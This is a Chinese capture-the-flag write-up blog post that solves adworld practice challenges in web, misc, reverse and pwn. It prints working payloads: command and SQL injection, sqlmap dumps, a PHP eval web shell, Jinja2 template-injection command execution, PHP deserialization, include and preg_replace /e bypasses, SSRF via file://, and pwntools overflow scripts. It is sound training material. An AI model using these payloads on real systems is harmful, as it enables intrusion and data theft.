adworld

本文最后更新于:5 个月前

Web

view_source

X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

image-20240321174903818

点击开发人员工具即可

robots

X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

如题,访问 /robots.txt 即可

backup

X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

image-20240322172004145

猜测 index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<head>
<meta charset="UTF-8">
<title>备份文件</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3>你知道index.php的备份文件名吗?</h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
?>
</body>
</html>

X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

F12 查看 cookie

image-20240322172120878

image-20240322172152637

disabled_button

X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

image-20240322172330655

F12 删掉 disabled 再点击即可

image-20240322172413327

get_post

X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

curl -X POST http://61.147.171.105:53979/?a=1 -d "b=2"

image-20240322172558929

weak_auth

小宁写了一个登陆验证页面,随手就设了一个密码。

弱密码

image-20240322172651557

弱密码猜测 admin/123456

image-20240322172716643

simple_php

小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

PHP 弱类型

image-20240322172844038

在PHP中,当使用双等号(==)进行比较时,如果比较的两个值类型不同,PHP会尝试将它们转换为相同的类型然后再进行比较。在这种情况下,字符串和整数进行比较时,字符串会被尝试转换为数字。

在PHP中,如果字符串不是以有效的数值开头,它会被转换为0。

故传入 a=a

绕过方法

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后,因为查看函数发现该函数对于第一个空格字符会跳过空格字符直接判断后面的内容

构造:

1
2
3
4
?b = 1235%00
?b = 1235%20
?b = 1235'
?b = 1235a

image-20240322173700567

command_execution

小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

  • 管道符号截断命令执行
1
2
3
4
& 表示任务后台执行
| 上一条命令的输出,作为下一条命令参数(输入)
&& 表示前一条命令执行成功时,才执行后一条命令
|| 表示上一条命令执行失败后,才执行下一条命令

image-20240322174223866

根目录和当前目录都无,于是 find 命令从 / 寻找 flag 文件

image-20240322174144114

Training-WWW-Robots

根据提示访问 /robots.txt

image-20240322174755142

继续访问即可

xff_referer

X老师告诉小宁其实xff和referer是可以伪造的。

  • header 伪造

image-20240322174839095

根据提示,追加 X-Forwarded-For

image-20240322174948752

得到image-20240322175002381

追加 Referer

image-20240322175049210

得到image-20240322175106777

baby_web

想想初始页面是哪个

根据提示访问 index.php

image-20240322175320221

发现 302跳转 于是使用 curl

image-20240322175406158

猜测在响应标头,使用 -i 显示

image-20240322175533400

simple_js

小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

F12 得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function dechiffre(pass_enc) {
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i, j, k, l = 0,
m, n, o, p = "";
i = 0;
j = tab.length;
k = j + (l) + (n = 0);
n = tab2.length;
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
p += String.fromCharCode((o = tab2[i]));
if (i == 5) break;
}
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
if (i > 5 && i < k - 1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert(dechiffre(h));

乍一看要解密,其实没关系

取出 \x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

1
2
3
4
5
6
7
console.log(
String.fromCharCode(
...'\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30'.split(
','
)
)
)

image-20240322180631459

Cyberpeace{} 包裹即可

  • 三个点(…)是展开运算符

PHP2

点开啥都没有

dirsearch 启动

image-20240322192946012

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

可以看出来是二次渲染

http://61.147.171.105:64045/?id=%2561dmin

浏览器请求的时候会把 %25 编码为 %

所以传上去的数据为 %61dmin

image-20240322193654694

ics-06

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

报表中心可跳转

image-20240322193823659

没想到,看wp复现的

原来是个爆破

image-20240322194648529

image-20240322194700663

image-20240322194710931

unserialize3

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

__wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}

$a = new xctf();
$a->flag = 'flag';
echo serialize($a);

?>

得到O:4:"xctf":1:{s:4:"flag";s:4:"flag";}

修改 xctf 后的数字为 1 以上即可

image-20240322195352906

php_rce

tp 漏洞

image-20240322195554478

蚁剑连接,访问根目录即可

Web_php_include

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

过滤了 php://

?page=data://text/plain,<?php system("cat%20fl4gisisish3r3.php");?>

image-20240322205016669

upload1

无过滤文件上传

1
<?php @eval($_GET[2333]); ?>

上传得到路径 upload/1711112145.2.php

image-20240322205701059

warmup

F12

image-20240322211334012

  • source.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

  • hint.txt
1
flag not here, and flag in ffffllllaaaagggg

其中

image-20240322212105518

传入 page 后面追加 ?

比如传入 page=hint.php 则相当于

mb_strpos("hint.php?","?")

mb_substr("hint.php", 0, "hint.php")

所以我们可以手动传入带 ? 的 page

source.php?/../../../../ffffllllaaaagggg

  • include 的时候会把 source.php? 也看成目录,所以需要四个 ../
  • 目录猜测是 /var/www/html

NewsCenter

sql注入

单引号写入,回车发现报错,猜测 sql注入

sqlmap启动

py sqlmap.py http://61.147.171.105:57816/ --forms --batch -dbs

image-20240322214223337

>py sqlmap.py http://61.147.171.105:57816/ --forms --batch -D news --tables

image-20240322214240694

py sqlmap.py http://61.147.171.105:57816/ --forms --batch -D news -T secret_table --columns

image-20240322214257497

py sqlmap.py http://61.147.171.105:57816/ --forms --batch -D news -T secret_table -C "fl4g" --dump

image-20240322214315229

Web_php_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

反序列化,过滤了 形如O:123:C:123:的前缀

首先绕过 __wakeup

  • 在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。

其次是正则,这里可以在前缀的数字前加上 + 绕过

1
2
3
4
5
6
7
8
9
10
11
$a = new Demo("fl4g.php");
$a = serialize($a);
// echo $a;
$a = str_replace('"Demo":1', '"Demo":2', $a);
// echo $a;
$a = str_replace('O:4', 'O:+4', $a);
// echo $a;

$b=base64_encode($a);
echo $b;
// TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

image-20240322215129199

supersqli

输入 ' 发现报错

尝试 1' union select 1,2,3 #

返回 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试堆叠注入

1';show databases;#

image-20240322220046279

1';show tables ;#

image-20240322220125992

1';show columns from `1919810931114514`;#

image-20240322220633717

看了 wp,发现可以使用 handler

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

image-20240322221227157

web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
1
2
3
4
5
6
7
8
9
10
11
function decode($miwen){
$_o=base64_decode(strrev(str_rot13($miwen)));
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
print(decode($miwen));

image-20240322222156165

Web_python_template_injection

如题 SSTI

访问网址,没东西

猜测路径是注入点

{{[].__class__.__base__.__subclasses__()}} 我们需要 os 模块,故寻找 warnings.catch_warnings

在 [59] 位找到

构造 {{[].__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

image-20240322223326989

image-20240322223411592

inget

没想到是 sql,一点回显没有

http://61.147.171.105:53357/?id=1' or '1'='1 即可

image-20240322223801462

mfw

点击发现 ?page 参数,猜测目录穿越

发现屏蔽了 .

image-20240322224119673

访问 page=flag 为空白页面

猜测应该有什么目录,使用 dirsearch

发现 git泄露

image-20240322224500652

使用 githack 下载

image-20240322224700471

得到 index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

$file = "templates/" . $page . ".php"; 明显存在拼接漏洞

所以传入 ?page='.system('whoami').' 即可

image-20240322225442600

Cat

输入 127.0.0.1 得到 ping 数据回显

image-20240319210549168

尝试管道符号截断发现有WAF

多次尝试无果,查询wp

发现

  • Django使用的是gbk编码,超过%F7的编码不在gbk中有意义
  • CURLOPT_SAFE_UPLOAD 为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。

尝试复现

输入 /index.php?url=%80 得到报错

可得敏感信息

image-20240319211814443

再通过@拼接路径得到@/opt/api/database.sqlite3

搜索关键词可得image-20240319211950188

fileclude

文件上传

image-20240319212937464

file_get_contents($file2) === "hello ctf" 可以使用 php://input 同时 post 数据绕过

直接 include(flag.php) 发现无flag回显,猜测在注释里

于是通过base64回显

php://filter/read=convert.base64-encode/resource=flag.php

得到

1
2
3
4
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXs1YmUxM2IxOWNhNWRjODhkMTNiODA0ZjYyNWNjYzg1NH0=
<?php
echo "WRONG WAY!";
// $flag = cyberpeace{5be13b19ca5dc88d13b804f625ccc854}

fileinclude

同样文件上传

F12 得到注释的 php

image-20240319213707783

思路很清晰了,同样通过base64回显

php://filter/read=convert.base64-encode/resource=flag拼接.php

1
2
3
4
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNle2NmZTNkZDdiNDBmM2MzMmJlYjI3MjA1ZmYzMjM2NDJlfSI7DQo/Pg==
<?php
$flag="cyberpeace{cfe3dd7b40f3c32beb27205ff323642e}";
?>

ics-05

一个个点打开 设备维护中心

发现 index.php?page= 接口

猜测路径穿越漏洞

index.php?page=/etc/passwd

得到

image-20240319231504827

尝试 php://filter/read=convert.base64-encode/resource=index.php 得到

index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>

<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}





?>

</body>

</html>

我们摘出关键信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>

<?php

$page = $_GET[page];

if (isset($page)) {
if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>

于是伪造 X-Forwarded-For: 127.0.0.1 绕过检查(这里需要删除 page 参数

再利用 preg_replace/e 模式进行命令执行

?pat=/.*/e&rep=phpinfo();&sub=1

image-20240320002116111

得到路径 s3chahahaDir/flag/flag.php

再次使用前面的 php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php 得到flag

easytornado

考察SSTI

1
2
/hints.txt
md5(cookie_secret+md5(filename))
1
2
/flag.txt
flag in /fllllllllllllag
1
2
/welcome.txt
render

随便修改参数进入 error?msg= 发现此处可进行渲染

尝试 config失败

查了下资料要用 handler.settings ,得到

image-20240320010417945

根据 hint

1
filehash = md5('de045cd4-e5cb-445d-83a9-5491b7fb8e9a' + md5('/fllllllllllllag'))

lottry

php 弱比较

image-20240320141336840

只要使 $number[$i]true 就行,这样只要 $win_numbers 不全为0即可拿到大奖,多试几次就攒够了

shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import flask 
import os app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__': app.run(debug=True)

一眼SSTI

过滤了(,),config,self

可以通过 全局变量 绕过

  • {{url_for.__globals__['current_app'].config.FLAG}}
  • {{get_flashed_messages.__globals__['current_app'].config.FLAG}}

file_include

尝试 php://filter/read=convert.base64-encode/resource=check.php

发现encode被过滤了

同时base64、rot、quoted也不行

尝试 php://filter/convert.iconv.utf-8.utf-7/resource=check.php得到

1
+ADw?php if(+ACQAXw-GET+AFsAIg-filename+ACIAXQ)+AHs +ACQ-preg+AF8-match+AF8-username +AD0 'return preg+AF8-match(+ACI-/base+AHw-be+AHw-encode+AHw-print+AHw-zlib+AHw-quoted+AHw-write+AHw-rot13+AHw-read+AHw-string/i+ACI, +ACQAXw-GET+AFsAIg-filename+ACIAXQ)+ADs'+ADs if (eval(+ACQ-preg+AF8-match+AF8-username)) +AHs die(+ACI-do not hack+ACEAIg)+ADs +AH0 +AH0
1
2
3
4
5
<?php 
$encoded = "+ADw?php if(+ACQAXw-GET+AFsAIg-filename+ACIAXQ)+AHs +ACQ-preg+AF8-match+AF8-username +AD0 'return preg+AF8-match(+ACI-/base+AHw-be+AHw-encode+AHw-print+AHw-zlib+AHw-quoted+AHw-write+AHw-rot13+AHw-read+AHw-string/i+ACI, +ACQAXw-GET+AFsAIg-filename+ACIAXQ)+ADs'+ADs if (eval(+ACQ-preg+AF8-match+AF8-username)) +AHs die(+ACI-do not hack+ACEAIg)+ADs +AH0 +AH0";
$decoded = iconv('UTF-7', 'UTF-8', $encoded);
echo $decoded;
?>

得到

1
2
3
4
5
6
7
8
<?php 
if($_GET["filename"]){
$preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';
if (eval($preg_match_username)) {

die("do not hack!");
}
}

猜测 flag.php

得到

1
+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-3e6bc52e2f48074bc1530a88d5466a2b+AH0'+ADs

cyberpeace{3e6bc52e2f48074bc1530a88d5466a2b}

easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}

?> Emmm...

首先 $a 使用科学计数法绕过即 9e9(9 * 10 ^9)

$b使用脚本穷举即可,得到 b = 53724

其次 c = {"m":"2023a","n":[["DGGJ"],0]}

其中 array_search()函数在数组中搜索某个键值,并返回对应的键名,传入0可使其返回值也为0,即可绕过

fakebook

view.php?no= 存在sql注入

其中过滤了命令中的空格

?no=-1 union/**/select/**/1,group_concat(no,'~',username,'~',passwd,'~',data),3,4/**/from/**/fakebook.users 绕过

image-20240320171100537

可以看出 data 列中储存的是序列化后的字符串

同时访问robots.txt 发现存在备份文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

serialize

综上,需要我们构造反序列化链

因为 curl_exec 无防护,所以可以进行SSRF伪造

1
2
3
4
5
6
7
8
9
10
<?php
class UserInfo
{
public $name = "test";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";

}
$res = new UserInfo();
echo serialize($res);

再通过 -1 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'回显

image-20240320171501482

load_file

回显点在第二个位置所以尝试直接 load_file 读取文件

?no=-1 union/**/select/**/1,load_file("/var/www/html/flag.php"),3,4

image-20240320172154027

easyupload

文件上传,有内容检测

尝试发现 有 后端后缀检测文件不能包含PHP字段文件头检测、.htacess过滤、MIME检测

.user.ini 存活,

image-20240320195512869

image-20240320195547878

原理:.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)image-20240320195936508

Misc

this_is_flag

题干得

pdf

浏览器打开,Ctrl+A 复制即可

image-20240320202101245

如来十三掌

1
夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮

得到 MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9

根据题意 rot13 解码

ZmxhZ3tiZHNjamhia3ptbmZyZGhidmNraWpuZHNrdmJramRzYWJ9

再通过 base64image-20240320202335296

give_you_flag

用 stegsolver 逐帧查看得到二维码

补上定位码扫描即可

坚持60s

idea 打开,查找得

image-20240320202519584

Reverse

insanity

菜鸡觉得前面的题目太难了,来个简单的缓一下

ida 打开

shift + F12 得到

image-20240322183922916

game

菜鸡最近迷上了玩游戏,但它总是赢不了,你可以帮他获胜吗

shift + F12

image-20240322191031729

跳过来

image-20240322191300434

异或回去就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def sub_45E940():
v2 = bytearray(b"{ ")
v2.extend([18, 98, 119, 108, 65, 41, 124, 80, 125, 38, 124, 111, 74, 49, 83, 108, 94, 108, 84, 6])
v2.extend(b"`S,yhn _uec{")
v2.extend([127, 119, 96, 48, 107, 71, 92, 29, 81, 107, 90, 85, 64, 12, 43, 76, 86, 13, 114, 1, 117, 126, 0])
v5 = bytearray(
[18, 64, 98, 5, 2, 4, 6, 3, 6, 48, 49, 65, 32, 12, 48, 65, 31, 78, 62, 32, 49, 32, 1, 57, 96, 3, 21, 9, 4, 62, 3, 5, 4, 1, 2, 3, 44, 65, 78, 32, 16, 97, 54, 16, 44, 52, 32, 64, 89, 45, 32, 65, 15, 34, 18, 16, 0]
)

for i in range(56):
# print(v2[i])
v2[i] ^= v5[i]
v2[i] ^= 0x13
# print(chr(v2[i]))

return v2.decode()


print(sub_45E940())

open-source

菜鸡学逆向学得头皮发麻,终于它拿到了一段源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
if (argc != 4) {
printf("what?\n");
exit(1);
}

unsigned int first = atoi(argv[1]);
if (first != 0xcafe) {
printf("you are wrong, sorry.\n");
exit(2);
}

unsigned int second = atoi(argv[2]);
if (second % 5 == 3 || second % 17 != 8) {
printf("ha, you won't get it!\n");
exit(3);
}

if (strcmp("h4cky0u", argv[3])) {
printf("so close, dude!\n");
exit(4);
}

printf("Brr wrrr grr\n");

unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;

printf("Get your key: ");
printf("%x\n", hash);
return 0;
}


审计代码

前面的判断都可以删去,同时把 hash 得参数填入即可

1
2
unsigned int hash = 0xcafe * 31337 + (8) * 11 + strlen("h4cky0u") - 1615810207;

image-20240322191714265

Hello, CTF

image-20240322230144271

1
2
3
4
5
v13 = "437261636b4d654a757374466f7246756e"

for i in range(0, 34, 2):
print(chr(int(v13[i : i + 2], 16)), end="")
# CrackMeJustForFun

Pwn

hello_pwn

image-20240320225318482

于是

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.log_level = "debug"

p = remote("61.147.171.105", 62725)
# p.recvline()
p.recvuntil(b"lets get helloworld for bof\n")
p.sendline(b"A" * 4 + p64(1853186401))
p.interactive()

level0

read栈溢出

image-20240320234131437

pwndbg调试

image-20240320233805057

跳到输入点

image-20240320233857781

image-20240320233928801

得到

image-20240320233947193

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

# context.log_level = "debug"

p = remote("61.147.171.105", 52815)
# p = process("./level0")
p.recvuntil(b"Hello, World\n")
p.sendline(b"A" * (136) + p64(0x4005F4) + p64(0x400596)) # 136 + ret_addr + systemcall_addr

p.interactive()

level2

查找字符串表有 /bin/su,以及根据提示是 ROP

image-20240321174408428

